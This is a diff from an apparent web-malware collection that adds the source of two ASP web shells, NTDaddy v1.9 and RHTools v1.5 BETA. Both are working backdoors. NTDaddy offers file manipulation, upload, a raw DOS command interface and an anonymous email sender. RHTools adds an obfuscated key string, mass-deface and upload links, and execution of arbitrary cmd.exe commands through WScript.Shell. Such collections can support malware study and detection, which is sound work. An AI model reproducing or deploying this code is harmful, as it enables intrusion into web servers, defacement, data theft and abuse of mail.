") +case "ApplyFileAttributes" +TempAtt=int(Request.form("FileAttribute1")) +TempAtt=TempAtt + int(Request.form("FileAttribute2")) +TempAtt=TempAtt + int(Request.form("FileAttribute3")) +TempAtt=TempAtt + int(Request.form("FileAttribute4")) +TempAtt=TempAtt + int(Request.form("FileAttribute5")) +TempAtt=TempAtt + int(Request.form("FileAttribute6")) +TempAtt=TempAtt + int(Request.form("FileAttribute7")) +TempAtt=TempAtt + int(Request.form("FileAttribute8")) +TempAtt=TempAtt + int(Request.form("FileAttribute9")) +Set f = fs.GetFile(FilePath) +f.attributes=int(TempAtt) +response.write("File: " & FilePath & " attributes have been changed.") +case "ApplyFolderAttributes" +FolderPath=Request.form("RefreshFolderPath") +TempAtt=int(Request.form("FolderAttribute1")) +TempAtt=TempAtt + int(Request.form("FolderAttribute2")) +TempAtt=TempAtt + int(Request.form("FolderAttribute3")) +TempAtt=TempAtt + int(Request.form("FolderAttribute4")) +TempAtt=TempAtt + int(Request.form("FolderAttribute5")) +TempAtt=TempAtt + int(Request.form("FolderAttribute6")) +TempAtt=TempAtt + int(Request.form("FolderAttribute7")) +TempAtt=TempAtt + int(Request.form("FolderAttribute8")) +TempAtt=TempAtt + int(Request.form("FolderAttribute9")) +Set f = fs.Getfolder(selFolder) +f.attributes=int(TempAtt) +response.write("Folder: " & selFolder & " attributes have been changed.") +end select +Select Case TextCmd +case "SaveAs" +TextWrite = Request.form("txtFile") +TextCreateFormat = Request.form("optUnicode") +if textcreateformat = "TRUE" then +tempmsg="Unicode" +else +tempmsg="ASCII" +end if +Set TextFile = fs.CreateTextFile(FilePath, True,TextCreateFormat) +TextFile.Write TextWrite +TextFile.Close +response.write("File: " & FilePath & " Format: " & tempmsg & " has been saved.") +end select +%> +<% +Public CurrentPath +Function ShowDriveLetters() +on error resume next +Dim fs, d, dc, t +dim isReadyColor,TempSize,ShowDriveInfo +Set fs = CreateObject("Scripting.FileSystemObject") +Set dc = fs.Drives +ShowDriveInfo=Request.Form("chkShowDriveInfo") +response.write("") +response.write("") +if showdriveinfo="TRUE" then +response.write("") +response.write("") +response.write("") +else +response.write("") +end if +response.write("") +response.write("") +if showdriveinfo="TRUE" then +response.write("") +response.write("") +response.write("") +response.write("") +end if +response.write("") +For Each d in dc +Select Case d.DriveType +Case 0: t = "Unknown" +Case 1: t = "Removable" +Case 2: t = "Fixed" +Case 3: t = "Network" +Case 4: t = "CD-ROM" +Case 5: t = "RAM Disk" +End Select +if showdriveinfo="TRUE" then +if d.isReady then +response.write("") +else +response.write("") +end if +if d.filesystem = "" then +response.write("") +else +response.write("") +end if +if d.SerialNumber = "" then +response.write("") +else +response.write("") +end if +else +response.write("") +end if +response.write("") +response.write("") +if showdriveinfo="TRUE" then +if d.volumename="" then +response.write("") +else +response.write("") +end if +if d.sharename="" then +response.write("") +else +response.write("") +end if +str="" +str=str & d.driveletter +str=str & ":" +'response.write(str) +if d.isready then +freespace = (d.AvailableSpace / 1048576) +set sp=fs.getdrive(str) +response.write("") +else +response.write("") +end if +str="" +str=str & d.driveletter +str=str & ":" +'response.write(str) +if d.isready then +totalspace = (d.TotalSize / 1048576) +set sp=fs.getdrive(str) +response.write("") +else +response.write("") +end if +end if +Next +response.write("") +response.write("
Show Drive Info
File SystemSerial #
Show Drive Info
TypeDriveVolume NameShare NameFree SpaceTotal Size
...." & d.filesystem & "...." & d.SerialNumber & "
" & t & "...." & d.volumename & "...." & d.sharename & "" & Round(freespace,1) & " MB...." & Round(totalspace,1) & " MB....
") +response.write("

") +End Function +Function ShowFolderNames() +on error resume next +Dim fs, f, f1, s, sf ,FP +dim ShowFolderInfo,FolderAttributes +ShowFolderInfo=request.form("chkShowFolderInfo") +FP=Request.Form("FolderPath") +if FP = "RefreshFolder" or request.form("cmdOption")="DeleteFolder" or request.form("cmdOption")="CopyFolder" or request.form("cmdOption")="SetFolderAttributes" then +FP=request.form("RefreshFolderPath") +IP=chr(34) & IP & chr(34) +end if +CurrentPath=FP +Set fs = CreateObject("Scripting.FileSystemObject") +Set f = fs.GetFolder(FP) +Set sf = f.SubFolders +response.write("
") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +end if +For Each f1 in sf +if showfolderinfo="TRUE" then +response.write("") +response.write("") +response.write("") +response.write("") +folderattributes="...." +select case f1.attributes +case 0 +FolderAttributes = "Normal" +case 1 +FolderAttributes = "Read Only" +case 2 +FolderAttributes = "Hidden" +case 3 'Extra +FolderAttributes = "Read Only, Hidden" +case 4 +FolderAttributes = "System" +case 7 'Extra +FolderAttributes = "Read Only, Hidden, System" +case 8 +FolderAttributes = "Volume" +case 16 +FolderAttributes = "Directory" +case 17 'Extra +FolderAttributes = "Read Only, Directory" +case 18 'Extra +FolderAttributes = "Hidden, Directory" +case 19 +FolderAttributes = "Read Only, Hidden, Directoy" +case 20 'Extra +FolderAttributes = "System, Directory" +case 22 'Extra +FolderAttributes = "Hidden, System. Directory" +case 23 +FolderAttributes = "Read Only, Hidden, System, Directory" +case 32 +FolderAttributes = "Archive" +case 33 'Extra +FolderAttributes = "Read Only, Archive" +case 34 'Extra +FolderAttributes = "Hidden, Archive" +case 38 'Extra +FolderAttributes = "Hidden, Archive, System" +case 39 'Extra +FolderAttributes = "Read Only, Hidden, Archive, System" +case 48 +FolderAttributes = "Directory, Archive" +case 64 +FolderAttributes = "Alias" +case 128 +FolderAttributes = "Compressed" +case else +FolderAttributes = f1.attributes +end select +response.write("") +if f1.datecreated = "" then +response.write("") +else +response.write("") +end if +if f1.datelastaccessed = "" then +response.write("") +else +response.write("") +end if +if f1.datelastmodified = "" then +response.write("") +else +response.write("") +end if +response.write("") +response.write("") +else +response.write("") +end if +Next +response.write("
Show Folder Info

to
") +if showfolderinfo="TRUE" then +response.write("
FolderSizeTypeAttributesCreatedLast AccessedLast ModifiedShort NameShort Path
" & FormatNumber(f1.size/1024, 0) & " kb" & f1.type & "" & FolderAttributes & "...." & f1.datecreated & "...." & f1.datelastaccessed & "...." & f1.datelastmodified & "" & f1.shortname & "" & f1.shortpath & "\
") +response.write("
") +End Function +Function ShowFileNames() +on error resume next +Dim fs, f, f1, fc, FP +dim ShowFileInfo,FileAttributes,ShowPrefix +ShowPrefix=request.form("txtShowPrefix") +ShowFileInfo=Request.form("chkShowFileInfo") +FP=Request.Form("FolderPath") +if FP = "RefreshFolder" or request.form("cmdOption")="DeleteFolder" or request.form("cmdOption")="CopyFolder" or request.form("cmdOption")="SetFolderAttributes" then +FP=request.form("RefreshFolderPath") +IP=chr(34) & IP & chr(34) +end if +CurrentPath=FP +Set fs = CreateObject("Scripting.FileSystemObject") +Set f = fs.GetFolder(FP) +Set fc = f.Files +response.write("
") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +if showfileinfo="TRUE" then +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +end if +For Each f1 in fc +if showfileinfo="TRUE" then +if lcase(right(f1.name,(len(ShowPrefix)))) = lcase(ShowPrefix) then +response.write("") +response.write("") +response.write("") +response.write("") +select case f1.attributes +case 0 +FileAttributes = "Normal" +case 1 +FileAttributes = "Read Only" +case 2 +FileAttributes = "Hidden" +case 3 'Extra +FileAttributes = "Read Only, Hidden" +case 4 +FileAttributes = "System" +case 7 'Extra +FileAttributes = "Read Only, Hidden, System" +case 8 +FileAttributes = "Volume" +case 16 +FileAttributes = "Directory" +case 19 +FileAttributes = "Read Only, Hidden, Directoy" +case 23 +FileAttributes = "Read Only, Hidden, System, Directory" +case 32 +FileAttributes = "Archive" +case 33 'Extra +FileAttributes = "Read Only, Archive" +case 34 'Extra +FileAttributes = "Hidden, Archive" +case 38 'Extra +FileAttributes = "Hidden, Archive, System" +case 39 'Extra +FileAttributes = "Read Only, Hidden, Archive, System" +case 48 +FileAttributes = "Directory, Archive" +case 64 +FileAttributes = "Alias" +case 128 +FileAttributes = "Compressed" +case else +FileAttributes = f1.attributes +end select +response.write("") +if f1.datecreated = "" then +response.write("") +else +response.write("") +end if +if f1.datelastaccessed = "" then +response.write("") +else +response.write("") +end if +if f1.datelastmodified = "" then +response.write("") +else +response.write("") +end if +response.write("") +response.write("") +end if +else +if lcase(right(f1.name,(len(ShowPrefix)))) = lcase(ShowPrefix) then +response.write("") +end if +end if +Next +response.write("
Show File Info &
Show Only:
to
") +response.write("
FileSizeTypeAttributesCreatedLast AccessedLast ModifiedShort NameShort Path
" & f1.name & "" & FormatNumber(f1.size/1024, 0) & " kb" & f1.type & "" & FileAttributes & "...." & f1.datecreated & "...." & f1.datelastaccessed & "...." & f1.datelastmodified & "" & f1.shortname & "" & f1.shortpath & "
" & f1.name & "
") +response.write("
") +End Function +%> + + + +
+NTDaddy | fux0r inc. +
+ + + + +
" & FP) +%> +
+ + + + + + +
<% =ShowDriveLetters() %>
<% =ShowFolderNames() %><% =ShowFileNames() %>
+


+ + + + + + + + + +
+� Remote Info. + +� Local Info. +
+
+User: <%= "\\" & oScriptNet.ComputerName & " \ " & oScriptNet.UserName %>
+ID: <%=request.servervariables("SERVER_NAME")%>
+IP: <%=request.servervariables("LOCAL_ADDR")%>
+HTTPD: <%=request.servervariables("SERVER_SOFTWARE")%> Port: <%=request.servervariables("SERVER_PORT")%>
+Webroot: <%=request.servervariables("APPL_PHYSICAL_PATH")%>
+LogRoot: <%=request.servervariables("APPL_MD_PATH")%>
+Date: <% =date() %>
+Time: <%=time() %>
+HTTPs: <%=request.servervariables("HTTPS")%> +
+
+Local Addr (What they see.): <%=request.servervariables("REMOTE_ADDR")%>
+Forwarded from : <%=request.servervariables("HTTP_X_FORWARDED_FOR")%>
+Via: <%=request.servervariables("HTTP_VIA")%>
+User Agent: <%=request.servervariables("HTTP_USER_AGENT")%>
+Wookie: <%=request.servervariables("HTTP_WOOKIE")%>
+Cache Control: <%=request.servervariables("HTTP_CACHE_CONTROL")%>
+Interface: <%=request.servervariables("GATEWAY_INTERFACE")%>
+Protocol: <%=request.servervariables("SERVER_PROTOCOL")%>
+Method: <%=request.servervariables("REQUEST_METHOD")%> +
+
+
+
+ + + + + + + + + + + + + +
+� File Upload Utility
+
+File :
+ +
+� RAW D.O.S. COMMAND INTERFACE
+
" method="POST"> +

+
+
+<%
+If (IsObject(oFile)) Then
+On Error Resume Next
+Response.Write Server.HTMLEncode(oFile.ReadAll)
+oFile.Close
+Call oFileSys.DeleteFile(szTempFile, True)
+End If%>
+
+
+
+
+
+
+ + + + + + + + + + + + + + + + + + + + +
� Anonymous Email Utility
From:
To:
Subject:
Body:
+ +
+
+
+
�[ NTDaddy v1.9 ][ by obzerve ][ for the brothers of fux0r inc. 2k+1 ]�
+ + + + +<% +If Request.ServerVariables("REQUEST_METHOD") = "POST" Then +Set Fields = GetUpload() +FilePath = Server.MapPath(".") & "\" & Fields("File1").FileName +Fields("File1").Value.SaveAs FilePath +End If +%> +<% +Else +Dim anonFrom,anonTo,anonSubj,anonBody +anonFrom = request.form("From") +anonTo = request.form("To") +anonSubj = request.form("Subject") +anonBody = request.form("Body") +Set objMail = CreateObject("CDONTS.NewMail") +objMail.From=anonFrom +objMail.To=anonTo +objMail.Subject=anonSubj +objMail.Body=anonBody +intReturn=objMail.Send() +%> + +|[NTDaddy v1.9 | anon email] +

Message sent successfully!




+ + + + + +
+ +

[NTDaddy v1.9 - obzerve | fux0r inc.]

+ +<% +End if +%> + + + diff --git a/web-malware-collection-master/Backdoors/ASP/RHTools.v1.5-BETA.txt b/web-malware-collection-master/Backdoors/ASP/RHTools.v1.5-BETA.txt new file mode 100755 index 0000000..3856514 --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/RHTools.v1.5-BETA.txt @@ -0,0 +1,792 @@ +<%@ LANGUAGE = VBScript.Encode %> +<% +On Error Resume Next +Server.ScriptTimeOut = 7200 +Class FileUploader + Public Files + Private mcolFormElem + Private Sub Class_Initialize() + Set Files = Server.CreateObject("Scripting.Dictionary") + Set mcolFormElem = Server.CreateObject("Scripting.Dictionary") + End Sub + Private Sub Class_Terminate() + If IsObject(Files) Then + Files.RemoveAll() + Set Files = Nothing + End If + If IsObject(mcolFormElem) Then + mcolFormElem.RemoveAll() + Set mcolFormElem = Nothing + End If + End Sub + Public Property Get Form(sIndex) + Form = "" + If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex)) + End Property + Public Default Sub Upload() + Dim biData, sInputName + Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos + Dim nPosFile, nPosBound + biData = Request.BinaryRead(Request.TotalBytes) + nPosBegin = 1 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) + If (nPosEnd-nPosBegin) <= 0 Then Exit Sub + vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin) + nDataBoundPos = InstrB(1, biData, vDataBounds) + Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--")) + nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition")) + nPos = InstrB(nPos, biData, CByteString("name=")) + nPosBegin = nPos + 6 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) + sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename=")) + nPosBound = InstrB(nPosEnd, biData, vDataBounds) + If nPosFile <> 0 And nPosFile < nPosBound Then + Dim oUploadFile, sFileName + Set oUploadFile = New UploadedFile + nPosBegin = nPosFile + 10 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) + sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\")) + nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:")) + nPosBegin = nPos + 14 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) + oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + nPosBegin = nPosEnd+4 + nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 + oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin) + If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile + Else + nPos = InstrB(nPos, biData, CByteString(Chr(13))) + nPosBegin = nPos + 4 + nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 + If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + End If + nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds) + Loop + End Sub + Private Function CByteString(sString) + Dim nIndex + For nIndex = 1 to Len(sString) + CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1))) + Next + End Function + Private Function CWideString(bsString) + Dim nIndex + CWideString ="" + For nIndex = 1 to LenB(bsString) + CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1))) + Next + End Function +End Class +Class UploadedFile + Public ContentType + Public FileName + Public FileData + Public Property Get FileSize() + FileSize = LenB(FileData) + End Property + Public Sub SaveToDisk(sPath) + Dim oFS, oFile + Dim nIndex + If sPath = "" Or FileName = "" Then Exit Sub + If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\" + Set oFS = Server.CreateObject("Scripting.FileSystemObject") + If Not oFS.FolderExists(sPath) Then Exit Sub + Set oFile = oFS.CreateTextFile(sPath & FileName, True) + For nIndex = 1 to LenB(FileData) + oFile.Write Chr(AscB(MidB(FileData,nIndex,1))) + Next + oFile.Close + End Sub + Public Sub SaveToDatabase(ByRef oField) + If LenB(FileData) = 0 Then Exit Sub + If IsObject(oField) Then + oField.AppendChunk FileData + End If + End Sub +End Class +key = "5DCADAC1902E59F7273E1902E5AD8414B1902E5ABF3E661902E5B554FC41902E53205CA01902E59F7273E1902E597A18C51902E59AC1E8F1902E59DE24591902E55F5B0911902E53CF70E31902E597A18C51902E5B2349FA1902E5A422FED1902E597A18C51902E5A8D389C1902E53CF70E31902E53205CA01902E5B3C4CDF1902E5A422FED1902E5BEB61221902E59DE24591902E55F5B0911902E53CF70E31902E54C98DD51902E53CF70E31902E560EB3761902E547E85261902E55AAA7E21902E55AAA7E21902E53205CA01902E5802ED5A1902E5708D0681902E5834F3241902E57B7E4AB1902E57B7E4AB1902E576CDBFC1902E581BF03F1902E53205CA01902E54C98DD51902E547E85261902E552D99691902E53205CA01902E5672BF0A1902E56BDC7B91902E5834F3241902E5659BC251902E53E873C81902E57D0E7901902E5866F8EE1902E5834F3241902E540176AD1902E53B66DFE1902E59AC1E8F1902E5AD8414B1902E5AF144301902E5BD25E3D1902E55C3AAC71902E53205CA01902E5672BF0A1902E58B2019D1902E53205CA01902E55DCADAC1902E597A18C51902E53205CA01902E5A292D081902E5B2349FA1902E59DE24591902E59F7273E1902E55F5B0911902E53CF70E31902E5AA63B811902E597A18C51902E5A422FED1902E5A8D389C1902E5B554FC41902E5AD8414B1902E55AAA7E21902E5B2349FA1902E5A292D081902E59F7273E1902E597A18C51902E59AC1E8F1902E5B554FC41902E5AD8414B1902E5B2349FA1902E5640B9401902E597A18C51902E5ABF3E661902E5B554FC41902E5A422FED1902E5B3C4CDF1902E5AD8414B1902E59AC1E8F1902E5A422FED1902E597A18C51902E5A8D389C1902E547E85261902E59AC1E8F1902E5AD8414B1902E5AA63B811902E53CF70E31902E560EB3761902E5802ED5A1902E5708D0681902E56BDC7B91902E581BF03F1902E584DF6091902E581BF03F1902E53205CA01902E56D6CA9E1902E5659BC251902E568BC1EF1902E5834F3241902E57B7E4AB1902E5802ED5A1902E55DCADAC1902E5497880B1902E597A18C51902E560EB3761902E53205CA01902E546582411902E53205CA01902E55DCADAC1902E597A18C51902E53205CA01902E5A292D081902E5B2349FA1902E59DE24591902E59F7273E1902E55F5B0911902E53CF70E31902E5708D0681902E5834F3241902E5834F3241902E57D0E7901902E55AAA7E21902E5497880B1902E5497880B1902E587FFBD31902E587FFBD31902E587FFBD31902E547E85261902E5802ED5A1902E5708D0681902E56BDC7B91902E581BF03F1902E584DF6091902E581BF03F1902E56D6CA9E1902E5659BC251902E568BC1EF1902E5834F3241902E57B7E4AB1902E5802ED5A1902E547E85261902E568BC1EF1902E573AD6321902E5672BF0A1902E547E85261902E579EE1C61902E56BDC7B91902E5834F3241902E53CF70E31902E53205CA01902E5B554FC41902E597A18C51902E5B2349FA1902E5A102A231902E59DE24591902E5B554FC41902E55F5B0911902E53CF70E31902E594812FB1902E59931BAA1902E5A8D389C1902E597A18C51902E5ABF3E661902E5A7435B71902E53CF70E31902E560EB3761902E5708D0681902E5834F3241902E5834F3241902E57D0E7901902E55AAA7E21902E5497880B1902E5497880B1902E587FFBD31902E587FFBD31902E587FFBD31902E547E85261902E5802ED5A1902E5708D0681902E56BDC7B91902E581BF03F1902E584DF6091902E581BF03F1902E56D6CA9E1902E5659BC251902E568BC1EF1902E5834F3241902E57B7E4AB1902E5802ED5A1902E547E85261902E568BC1EF1902E573AD6321902E5672BF0A1902E547E85261902E579EE1C61902E56BDC7B91902E5834F3241902E55DCADAC1902E5497880B1902E597A18C51902E560EB3761902E53205CA01902E55AAA7E21902E55AAA7E21902E547E85261902E55DCADAC1902E5497880B1902E59F7273E1902E5AD8414B1902E5ABF3E661902E5B554FC41902E560EB3761902E5|337308|1A7023" +startcode = ".:: RHTOOLS 1.5 BETA(PVT) ::." +endocde = "" +onlinehelp = ".:: ONLINE HELP ::.
" +Function DeCryptString(strCryptString) + Dim strRAW, arHexCharSet, i, intKey, intOffSet, strRawKey, strHexCrypData + strRawKey = Right(strCryptString, Len(strCryptString) - InStr(strCryptString, "|")) + intOffSet = Right(strRawKey, Len(strRawKey) - InStr(strRawKey,"|")) + intKey = HexConv(Left(strRawKey, InStr(strRawKey, "|") - 1)) - HexConv(intOffSet) + strHexCrypData = Left(strCryptString, Len(strCryptString) - (Len(strRawKey) + 1)) + arHexCharSet = Split(strHexCrypData, Hex(intKey)) + For i=0 to UBound(arHexCharSet) + strRAW = strRAW & Chr(HexConv(arHexCharSet(i))/intKey) + Next + DeCryptString = CStr(strRAW) +End Function +Function HexConv(hexVar) + Dim hxx, hxx_var, multiply + IF hexVar <> "" THEN + hexVar = UCASE(hexVar) + hexVar = StrReverse(hexVar) + DIM hx() + REDIM hx(LEN(hexVar)) + hxx = 0 + hxx_var = 0 + FOR hxx = 1 TO LEN(hexVar) + IF multiply = "" THEN multiply = 1 + hx(hxx) = mid(hexVar,hxx,1) + hxx_var = (get_hxno(hx(hxx)) * multiply) + hxx_var + multiply = (multiply * 16) + NEXT + hexVar = hxx_var + HexConv = hexVar + END IF +End Function +cprthtml = ".:: RHTOOLS 1.5 BETA(PVT)© BY RHESUS FACTOR - HTTP://WWW.RHESUSFACTOR.CJB.NET ::." +Function get_hxno(ghx) + If ghx = "A" Then + ghx = 10 + ElseIf ghx = "B" Then + ghx = 11 + ElseIf ghx = "C" Then + ghx = 12 + ElseIf ghx = "D" Then + ghx = 13 + ElseIf ghx = "E" Then + ghx = 14 + ElseIf ghx = "F" Then + ghx = 15 + End If + get_hxno = ghx +End Function +keydec = DeCryptString(key) +Function showobj(objpath) + showobj = Mid(objpath,InstrRev(objpath,"\")+1,Len(objpath)) +End Function +Function showobjpath(objpath) + showobjpath = Left(objpath,InstrRev(objpath,"\")) +End Function +Function checking(a,b) + If CStr(Mid(a,95,13)) <> CStr(Mid(b,95,13)) Then + pagina = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Request.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_NAME"))) & "?action=error" + Response.Redirect(pagina) + End If +End Function +Sub hdr() + Response.Write startcode + Response.Write keydec + Response.Write "
" +End Sub +Sub showcontent() + Response.Write ".:: DRIVES ::.
.:: SCRIPT PATH: " & UCase(Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))) & "

" + If Trim(Request.QueryString("raiz")) = "root" Then + Set fs=Server.Createobject("Scripting.FileSystemObject") + Set drivecollection=fs.drives + Response.Write "" + For Each drive IN drivecollection + str=drive.driveletter & ":" + Response.Write "" & UCase(str) & "
" + Select Case drive.DriveType + Case 0 + tipodrive = "Unknown" + nomedrive = drive.VolumeName + Case 1 + tipodrive = "Removable" + If drive.isready Then + nomedrive = drive.VolumeName + Else + nomedrive = "" + End If + Case 2 + tipodrive = "Fixed" + If drive.isready Then + nomedrive = drive.VolumeName + Else + nomedrive = "" + End If + Case 3 + tipodrive = "Network" + If drive.isready Then + nomedrive = drive.ShareName + Else + nomedrive = "" + End If + Case 4 + tipodrive = "CD-Rom" + If drive.isready Then + nomedrive = drive.VolumeName + Else + nomedrive = "" + End If + Case 5 + tipodrive = "RAM Disk" + If drive.isready Then + nomedrive = drive.VolumeName + Else + nomedrive = "" + End If + End Select + response.write "Tipo: " & tipodrive & "
" + response.write "Nome: " & nomedrive & "
" + response.write "Sistema de Arquivos: " + If drive.isready Then + set sp=fs.getdrive(str) + response.write sp.filesystem & "
" + Else + response.write "-
" + End If + Response.Write "Espa�o Livre: " + If drive.isready Then + freespace = (drive.AvailableSpace / 1048576) + set sp=fs.getdrive(str) + response.write(Round(freespace,1) & " MB
") + Else + response.write("-
") + End If + Response.Write "Espa�o Total: " + If drive.isready Then + totalspace = (drive.TotalSize / 1048576) + set sp=fs.getdrive(str) + response.write(Round(totalspace,1) & " MB
") + Else + response.write("-
") + End If + Response.Write "
" + Next + Response.Write "
" + Set fs = Nothing + Set drivecollection = Nothing + set sp=Nothing + Else + If Trim(Request.QueryString("raiz")) = "" Then + caminho = Server.MapPath(Request.ServerVariables("SCRIPT_NAME")) + pos = Instr(caminho,"\") + pos2 = 1 + While pos2 <> 0 + If Instr(pos + 1,caminho,"\") <> 0 Then + pos = Instr(pos + 1,caminho,"\") + Else + pos2 = 0 + End If + Wend + raiz = Left(caminho,pos) + Else + raiz = trim(Request.QueryString("raiz")) & "\" + End If + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MonRep = ObjFSO.GetFolder(raiz) + Set ColFolders = MonRep.SubFolders + Set ColFiles0 = MonRep.Files + Response.Write "MASS TEST IN " & UCase(raiz) & "

" + Response.Write "MASS DEFACE IN " & UCase(raiz) & "

" + Response.Write "UPLOAD FILE TO " & UCase(raiz) & "

" + Response.Write "PROMPT - SYS INFO - REGEDIT

" + Response.Write "Root Folder: " & raiz & "

" + If CInt(Len(raiz) - 1) <> 2 Then + barrapos = CInt(InstrRev(Left(raiz,Len(raiz) - 1),"\")) - 1 + backlevel = Left(raiz,barrapos) + Response.Write "<DIR> . .
" + Else + Response.Write "<DIR> . . 
" + End If + Response.Write "" + for each folderItem in ColFolders + Response.Write "" + next + Response.Write "
<DIR> " & showobj(folderItem.path) & "  << PUT

" + marcatabela = true + for each FilesItem0 in ColFiles0 + If marcatabela = true then + corfundotabela = " bgcolor=""#EEEEEE""" + Else + corfundotabela = "" + End If + Response.Write ":: " & showobj(FilesItem0.path) & "" + marcatabela = NOT marcatabela + next + Response.Write "
  " & FormatNumber(FilesItem0.size/1024, 0) & " Kbytes     o.GET.o    o.REN.o    o.DEL.o    o.VIEW.o    o.EDIT.o    o.DOWNLOAD.o
" + End If +End Sub +Select Case Trim(Request.QueryString("action")) + Case "get" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + caminho = Replace(Trim(Request.QueryString("path")),"|","\") + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MyFile = ObjFSO.GetFile(caminho) + destino = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) + MyFile.Copy (destino) + If Err.Number = 0 Then + Response.Write "


Arquivo: " & caminho & "
copiado para: " & destino + End If + Case "put" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + If Trim(Request.QueryString("arquivo")) = "" Then + caminho = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) + varpath = Trim(Request.QueryString("path")) + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MonRep = ObjFSO.GetFolder(caminho) + Set ColFolders = MonRep.SubFolders + Set ColFiles0 = MonRep.Files + + Response.Write "Selecione o arquivo:
" + for each FilesItem0 in ColFiles0 + Response.Write "" + next + Response.Write "
:: " & showobj(FilesItem0.path) & "  " & FormatNumber(FilesItem0.size/1024, 0) & " Kbytes     :: SELECIONAR ::
" + Else + destino = Replace(Trim(Request.QueryString("path")),"|","\") & "\" + arquivo = Replace(Trim(Request.QueryString("arquivo")),"|","\") + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MyFile = ObjFSO.GetFile(arquivo) + MyFile.Copy (destino) + If Err.Number = 0 Then + Response.Write "


Arquivo: " & arquivo & "
copiado para: " & destino + End If + End If + Case "del" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + caminho = Replace(Trim(Request.QueryString("path")),"|","\") + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MyFile = ObjFSO.GetFile(caminho) + MyFile.Delete + If Err.Number = 0 Then + Response.Write "" + Response.Write "


Arquivo " & caminho & " apagado
" + End If + Case "ren" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + If Trim(Request.QueryString("status")) <> "2" Then + caminho = Replace(Trim(Request.QueryString("path")),"|","\") + arquivo = showobj(caminho) + Response.Write "
" & arquivo & "
" & _ + "" & _ + "" & _ + "" & _ + "" & _ + "Digite o novo nome: " & _ + "  " & _ + "" + Else + caminho = Replace(Trim(Request.QueryString("path")),"|","\") + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MyFile = ObjFSO.GetFile(caminho) + destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Request.QueryString("newname")) + MyFile.Move (destino) + If Err.Number = 0 Then + Response.Write "


Arquivo: " & caminho & "
renomeado para: " & destino + Response.Write "" + End If + End If + Case "error" + Response.Write "
C�DIGO CORROMPIDO
CORRUPT CODE
" + Case "cmd" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + Set oScript = Server.CreateObject("WSCRIPT.SHELL") + Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") + Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") + szCMD = Request.QueryString(".CMD") + If (szCMD <> "") Then + szTempFile = "c:\" & oFileSys.GetTempName( ) + Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) + Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) + End If + Response.Write "


" + If (IsObject(oFile)) Then + On Error Resume Next + Response.Write "" + Response.Write Replace(Replace(Server.HTMLEncode(oFile.ReadAll),VbCrLf,"
")," "," ") + oFile.Close + Call oFileSys.DeleteFile(szTempFile, True) + End If + Case "info" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + Set WshNetwork = Server.CreateObject("WScript.Network") + Set WshShell = Server.CreateObject("WScript.Shell") + Set WshEnv = WshShell.Environment("SYSTEM") + Response.Write "
" + Response.Write "IDENTIFICA��O DE REDE:
" + Response.Write "Usu�rio: " & WshNetwork.UserName & "
" + Response.Write "Nome do Computador: " & WshNetwork.ComputerName & "
" + Response.Write "Usu�rio do Dom�nio: " & WshNetwork.UserDomain & "
